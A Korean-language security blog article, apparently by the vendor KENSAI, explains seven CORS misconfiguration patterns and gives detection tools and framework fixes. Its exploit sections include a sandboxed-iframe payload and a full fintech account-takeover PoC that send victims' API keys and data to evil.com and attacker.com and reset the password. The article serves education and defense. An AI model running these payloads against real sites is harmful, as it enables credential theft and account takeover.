CORS 설정 오류: 2026년 가장 흔한 버그 바운티 발견 사항
교차 출처 리소스 공유(CORS) 설정 오류는 2026년 승인된 웹 애플리케이션 버그 바운티 발견 사항의 23%를 차지합니다 — XSS, IDOR, SSRF를 모두 합친 것보다 많습니다. 2016년부터 충분히 문서화되어 왔음에도 불구하고, CORS는 개발자가 가장 자주 잘못 다루는 취약점 클래스로 남아 있습니다. 이 심층 분석은 모든 설정 오류 패턴을 다루고, 실제 동작하는 PoC 코드로 실제 익스플로잇 시나리오를 보여주며, 모든 주요 프레임워크와 클라우드 제공업체에 대한 프로덕션 수준의 수정 방법을 제공합니다.
왜 CORS는 2026년에도 여전히 지배적인가
CORS의 역설은 웹에서 가장 잘 문서화된 보안 메커니즘이자 동시에 가장 자주 잘못 설정되는 보안 메커니즘이라는 점입니다. 첫 대규모 공개 이후 10년이 지난 지금도 CORS가 여전히 1위 자리를 지키는 이유는 세 가지 요인으로 설명됩니다:
- 마이크로서비스 폭증: 오늘날 평균적인 엔터프라이즈 웹 애플리케이션은 47개의 내부 API, 12개의 서드파티 서비스, 8개의 CDN 출처와 통신합니다. 각 교차 출처 관계는 명시적인 CORS 설정을 필요로 하며, 납기 압박에 시달리는 개발자들은 지름길을 택합니다.
- 프레임워크 기본값은 허용적인 쪽으로 치우쳐 있습니다: Express.js(
cors미들웨어 포함), Django, Spring Boot 같은 인기 프레임워크는 개발 중에Access-Control-Allow-Origin: *값을 지나치게 쉽게 설정하게 만듭니다 — 그리고 이 와일드카드는 프로덕션 환경까지 슬며시 살아남는 고약한 버릇이 있습니다. - 클라우드 인프라 복잡성: 멀티클라우드 배포, API 게이트웨이, CDN 엣지 규칙, 리버스 프록시는 각각 CORS 헤더가 설정되거나, 재정의되거나, 제거될 수 있는 계층을 하나씩 추가합니다. 애플리케이션 서버가 올바르게 설정되어 있어도, 상류에 있는 지나치게 허용적인 CloudFront나 Cloudflare 규칙 때문에 무력화될 수 있습니다.
📊 수치로 보는 현황 (2026년 1분기): HackerOne의 분기 보고서에 따르면 CORS 설정 오류는 승인된 웹 앱 발견 사항의 23.1%를 차지해 1위였으며, 그 뒤를 Broken Access Control(18.7%), XSS(14.2%), IDOR(11.8%), SSRF(8.4%)가 이었습니다. 영향이 입증된 CORS 발견 사항에 대한 평균 바운티 지급액은 2,340달러로, 프로그램들이 실제 익스플로잇 가능성을 점점 더 인식하면서 2025년 대비 45% 상승했습니다.
일곱 가지 CORS 설정 오류 패턴
모든 CORS 설정 오류가 동일한 위험도를 갖는 것은 아닙니다. 다음은 버그 바운티 헌터들이 가장 자주 발견하는 일곱 가지 패턴을, 심각도와 악용 가능성 순으로 정리한 것입니다:
패턴 1: 출처 반사(Origin Reflection) (치명적)
서버가 Origin 요청 헤더 값을 그대로 Access-Control-Allow-Origin 응답 헤더에 반사합니다. 이는 어떤 웹사이트든 취약한 API로부터 인증된 응답을 읽을 수 있게 만들기 때문에 가장 위험한 패턴입니다.
# 공격자가 제어하는 출처에서 보낸 요청
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123
# 취약한 응답 — 공격자의 출처를 그대로 반사함
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@company.com","api_key":"sk-prod-..."}
⚠ 이것이 치명적인 이유
만약 Access-Control-Allow-Credentials: true 값이 출처 반사와 결합되면, 공격자의 웹사이트는 인증된 교차 출처 요청을 보내고 그 응답 — 세션 토큰, API 키, 개인정보(PII), 그리고 피해자의 브라우저가 접근할 수 있는 그 밖의 모든 데이터를 포함해서 — 을 읽을 수 있습니다. 이는 사실상 동일 출처 정책(Same-Origin Policy) 전체를 완전히 우회하는 것입니다.
패턴 2: Null 출처 허용목록 등재(Null Origin Allowlisting) (높음)
일부 서버는 설정 오류나 오해로 인해 null 출처를 명시적으로 허용합니다. null 출처는 샌드박스 처리된 iframe, data: URL, 로컬 파일 접근, 교차 출처 리디렉션 등 여러 상황에서 브라우저에 의해 전송됩니다.
# 공격자가 이 HTML 페이지를 제공함
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
fetch('https://api.target.com/api/user/data', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// 공격자 서버로 데이터 유출
navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
});
</script>">
</iframe>
패턴 3: 출처 검증의 정규식 우회(Regex Bypass) (높음)
개발자들은 종종 미묘한 결함을 포함한 정규식 패턴으로 출처 검증을 구현합니다. 가장 흔한 실수는 다음과 같습니다:
| 의도한 허용 대상 | 결함이 있는 정규식 | 우회 출처 |
|---|---|---|
| *.target.com | /target\.com$/ |
evil-target.com |
| app.target.com | /^https?:\/\/.*target\.com/ |
target.com.evil.com |
| *.target.com | /\.target\.com$/ |
evil.com/.target.com (경로 혼동) |
| target.com만 해당 | /target.com/ (이스케이프되지 않은 점) |
targetXcom.evil.com |
패턴 4: 자격 증명이 포함된 와일드카드(Wildcard with Credentials) (중간-높음)
브라우저는 Access-Control-Allow-Origin: * 값을 Access-Control-Allow-Credentials: true 값과 함께 사용할 수 없도록 강제하지만, 다수의 서버 측 프레임워크는 이 조합을 감지해 조용히 출처 반사로 전환함으로써 이를 우회합니다 — 뒷문으로 패턴 1을 만들어내는 셈입니다.
바로 cors npm 패키지(Node.js API의 73%가 사용)가 origin: true 와 credentials: true 로 설정되었을 때 정확히 이런 동작을 합니다. 와일드카드를 설정한다고 생각하는 개발자들이 실제로는 전면적인 출처 반사를 활성화하고 있는 것입니다.
패턴 5: 프리플라이트 캐시 포이즈닝(Pre-flight Cache Poisoning) (중간)
이 Access-Control-Max-Age 헤더는 브라우저가 프리플라이트(OPTIONS) 응답을 얼마나 오래 캐시할지를 지정합니다. 서버가 한 요청 경로에는 허용적인 CORS 헤더를 반환하고 다른 경로에는 제한적인 헤더를 반환하는 경우, 공격자는 브라우저가 허용적인 프리플라이트 응답을 캐시하도록 강제한 뒤 이를 제한된 엔드포인트에 재사용하게 만들 수 있습니다.
패턴 6: 서브도메인 신뢰 확대(Subdomain Trust Escalation) (중간)
많은 애플리케이션이 모든 서브도메인으로부터의 CORS를 허용합니다: *.target.com. 이는 전이적(transitive) 신뢰 관계를 만들어내며, 이 경우 어떤 서브도메인에서 발생한 XSS든 — 잊혀진 스테이징 환경, 레거시 애플리케이션, 제3자가 호스팅하는 서브도메인을 포함해서 — 메인 애플리케이션의 API를 공격하는 데 악용될 수 있습니다.
🎯 버그 바운티 팁
만약 *.target.com 을 신뢰하는 CORS 정책을 발견하면, 즉시 서브도메인 전체를 열거하고 그중 어디에든 XSS가 있는지 찾아보세요 — 특히 마케팅 사이트, 상태 페이지, 문서 포털, 고객 지원 도구에서요. blog.target.com 에서 발생한 반사형 XSS는 서브도메인 CORS 신뢰와 결합되면 api.target.com 데이터에 대한 완전한 접근 권한을 제공합니다. 이 공격 체인은 정기적으로 높음/치명적 심각도 등급을 받습니다.
패턴 7: Vary: Origin 헤더 누락(Missing Vary: Origin Header) (낮음-중간)
서버가 요청 출처에 따라 동적으로 Access-Control-Allow-Origin 을 설정하는 경우, 반드시 Vary: Origin 도 함께 포함해야 합니다. 그렇지 않으면 CDN 캐시와 브라우저 캐시가 한 출처의 CORS 헤더가 담긴 응답을 다른 출처의 요청에 그대로 제공할 수 있으며, 이는 간헐적인 접근 제어 실패를 일으킵니다.
실전 익스플로잇: 단계별 공격 시나리오
다음은 CORS 설정 오류가 어떻게 계정 탈취로 이어지는지 보여주는 완전한 익스플로잇 시나리오입니다:
공격 대상
핀테크 애플리케이션이 app.fintech-target.com 에서 운영되며, API는 api.fintech-target.com 에 있습니다. 이 API는 이메일, 전화번호, 프로그램 매매(programmatic trading)에 사용되는 API 키를 포함한 사용자 프로필 데이터를 제공합니다.
취약점
이 API는 자격 증명이 활성화된 상태로 출처 반사(패턴 1)를 사용합니다. /api/v2/account/settings 엔드포인트는 사용자의 API 키를 반환하며, PUT 요청을 통한 비밀번호 변경을 허용합니다.
익스플로잇
<!-- attacker.com에 호스팅되며 피싱 이메일을 통해 링크됨 -->
<html>
<body>
<h1>포트폴리오 분석을 불러오는 중...</h1>
<script>
// 1단계: API 키와 사용자 데이터 탈취
fetch('https://api.fintech-target.com/api/v2/account/settings', {
credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
// 2단계: 공격자 서버로 데이터 유출
await fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
email: data.email,
api_key: data.api_key,
phone: data.phone
})
});
// 3단계: 사용자 비밀번호 변경
await fetch('https://api.fintech-target.com/api/v2/account/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
password: 'attacker-controlled-password-2026!'
})
});
// 4단계: 의심을 피하기 위해 정상 사이트로 리디렉션
window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>
전체 공격은 500밀리초 이내에 실행됩니다. 피해자는 짧은 로딩 화면을 본 뒤 평소와 같은 대시보드를 보게 됩니다. 그동안 공격자는 이미 API 키를 확보하고 비밀번호까지 변경한 상태입니다.
탐지: 대규모로 CORS 설정 오류 찾아내기
자동화된 스캐닝
효과적인 CORS 스캐닝을 위해서는 CORS 헤더를 반환하는 모든 엔드포인트에 대해 여러 출처 조합을 테스트해야 합니다. 다음은 테스트 매트릭스입니다:
| 테스트 케이스 | Origin 헤더 값 | 반사되면 취약 |
|---|---|---|
| 전면 반사 | https://evil.com |
예 — 어떤 출처든 허용됨 |
| Null 출처 | null |
예 — iframe 샌드박스 우회 |
| 서브도메인 악용 | https://evil.target.com |
예 — 서브도메인 패턴이 일치하는 경우 |
| 접두사 우회 | https://target.com.evil.com |
예 — 정규식 결함 |
| 접미사 우회 | https://evil-target.com |
예 — 정규식에 앵커 누락 |
| 프로토콜 다운그레이드 | http://target.com |
예 — HTTPS 전용이 강제되지 않은 경우 |
| 특수 문자 | https://target.com%60.evil.com |
예 — 파서 차이(parser differential) |
실무에서 쓰는 도구
- CORScanner: 전체 테스트 매트릭스를 자동화하는 오픈소스 Python 도구입니다. API 엔드포인트 목록을 대상으로 실행하세요:
python cors_scan.py -i urls.txt -t 50 - Burp Suite 확장: "CORS* Burp"와 "Additional CORS Checks"는 수동 테스트 중 CORS 문제를 수동적으로 표시해 줍니다.
- Nuclei 템플릿: ProjectDiscovery의 Nuclei에는 일곱 가지 설정 오류 패턴을 모두 다루는 CORS 전용 템플릿 14개가 있습니다.
nuclei -t cors/ -l targets.txt - KENSAI 자동화 스캐닝: 전체 애플리케이션 보안 태세 평가의 일환으로 지속적인 CORS 설정 오류 탐지를 제공합니다.
프로덕션 적용 가능한 수정 방법
Node.js / Express
const cors = require('cors');
// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));
// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
'https://app.yoursite.com',
'https://admin.yoursite.com'
];
app.use(cors({
origin: (origin, callback) => {
// 출처가 없는 요청 허용 (모바일 앱, curl 등)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
return callback(null, true);
}
callback(new Error('CORS policy violation'));
},
credentials: true,
maxAge: 600, // 10분 프리플라이트 캐시
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Python / Django
# settings.py
# ❌ 잘못된 예
CORS_ALLOW_ALL_ORIGINS = True
# ✅ 올바른 예
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
"https://app.yoursite.com",
"https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600
Nginx
# ❌ 잘못된 예 — Origin 헤더를 그대로 반사함
add_header 'Access-Control-Allow-Origin' $http_origin always;
# ✅ 올바른 예 — map 기반 허용 목록
map $http_origin $cors_origin {
default "";
"https://app.yoursite.com" $http_origin;
"https://admin.yoursite.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin = "") {
return 403;
}
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
add_header 'Access-Control-Max-Age' 600;
add_header 'Content-Length' 0;
return 204;
}
}
}
AWS API Gateway / CloudFront
# AWS CDK / CloudFormation
CorsConfiguration:
AllowOrigins:
- "https://app.yoursite.com"
- "https://admin.yoursite.com"
AllowMethods:
- GET
- POST
- PUT
- DELETE
AllowHeaders:
- Content-Type
- Authorization
AllowCredentials: true
MaxAge: 600
# ⚠ 경고: AllowOrigins: ["*"] 를 AllowCredentials: true 와 함께 사용하지 마세요
# AWS는 이를 조용히 출처 반사로 변환합니다
API 우선 아키텍처 시대의 CORS
API 우선 아키텍처로의 전환은 CORS 지형을 근본적으로 바꾸어 놓았습니다. 2020년에는 일반적인 웹 애플리케이션이 3~5개 서비스 정도에만 교차 출처 요청을 보냈습니다. 2026년에는 마이크로서비스, 서버리스 함수, 서드파티 API 통합 위에 구축된 애플리케이션이 일상적으로 수십 개에 달하는 출처로 교차 출처 요청을 보냅니다.
이러한 복잡성은 여러 아키텍처적 대응을 이끌어내고 있습니다:
- API 게이트웨이 중앙화: 각 마이크로서비스를 개별적으로 설정하는 대신 모든 CORS 처리를 단일 API 게이트웨이 계층(Kong, AWS API Gateway, Cloudflare Workers)으로 이전하는 방식입니다. 이는 설정 오류가 발생할 수 있는 표면을 줄여주지만, 단일 장애점(single point of failure)을 만들어냅니다.
- 쿠키 대신 토큰 기반 인증: 쿠키 기반 세션에서 Bearer 토큰 인증으로 전환하는 애플리케이션은
credentials: include요구 사항 자체를 완전히 없앨 수 있으며, 이로 인해 CORS 설정 오류의 영향력이 줄어듭니다(완전히 무해해지는 것은 아니지만). - Backend-for-Frontend(BFF) 패턴: 프런트엔드를 대신해 모든 교차 출처 API 호출을 수행하는 서버 측 프록시로, 클라이언트 측 CORS를 완전히 없애줍니다. 다만 그 대가로 지연 시간과 인프라 복잡성이 늘어납니다.
CORS 설정 오류 예방 체크리스트
개발자와 보안 팀을 위한 체크리스트 — 애플리케이션에서 각 항목을 확인하세요:
- ☐ CORS 출처가 명시적으로 허용 목록에 등재되어 있다 (반사 없음, 자격 증명과 함께 쓰이는 와일드카드 없음)
- ☐
null출처가 허용 목록에 포함되어 있지 않다 - ☐ 출처 검증에 정규식이 아닌 정확한 문자열 일치를 사용한다 (정규식을 사용하는 경우 보안팀의 검토를 받는다)
- ☐
Vary: Origin헤더를 CORS 헤더가 동적일 때 포함한다 - ☐
Access-Control-Allow-Methods값은 필요한 HTTP 메서드로만 제한되어 있다 - ☐
Access-Control-Allow-Headers값은 필요한 헤더로만 제한되어 있다 - ☐
Access-Control-Max-Age값은 합리적인 범위(300~600초)로 설정되어 있다 - ☐ CORS 설정이 모든 계층(앱 서버, 리버스 프록시, CDN, API 게이트웨이)에서 일관되게 유지된다
- ☐ 자동화된 CORS 스캐닝이 CI/CD 파이프라인에 포함되어 있다
- ☐ 서브도메인 신뢰 범위가 최소화되어 있으며 분기마다 검토된다
핵심 요약
- CORS 설정 오류는 2026년 버그 바운티 발견 사항 1위입니다 — 승인된 전체 웹 앱 보고서의 23%를 차지합니다.
- 자격 증명을 동반한 출처 반사는 가장 위험한 패턴으로, 공격자가 제어하는 어떤 웹사이트에서든 전면적인 데이터 유출과 계정 탈취를 가능하게 합니다.
- 일곱 가지 뚜렷한 설정 오류 패턴이 존재하며, 각각 고유한 탐지 및 대응 방식을 필요로 합니다.
- 정규식 기반 출처 검증은 지뢰밭과 같습니다 — 명시적인 허용 목록에 대해 정확한 문자열 일치를 사용하세요.
- 프레임워크 기본값은 안전한 기본값이 아닙니다 — 모든 주요 웹 프레임워크가 지나치게 허용적인 CORS를 너무 쉽게 설정할 수 있게 만듭니다.
- 가능하다면 API 게이트웨이 계층에서 CORS를 중앙화하세요 — 설정 표면적을 줄일 수 있습니다.
- 탐지를 자동화하세요 — CI/CD 파이프라인에서 Nuclei, CORScanner 같은 도구나 지속적 보안 플랫폼을 활용하세요.
지금 바로 API의 CORS 설정 오류를 스캔하세요
KENSAI는 서브도메인 신뢰 체인, 정규식 우회, CDN 계층 재정의를 포함해 전체 API 표면에서 일곱 가지 CORS 설정 오류 패턴을 모두 자동으로 탐지합니다. 며칠이 아닌 몇 분 만에 첫 스캔 결과를 확인하세요.
무료 CORS 감사 시작하기 →KENSAI 리서치 · 2026년 4월 3일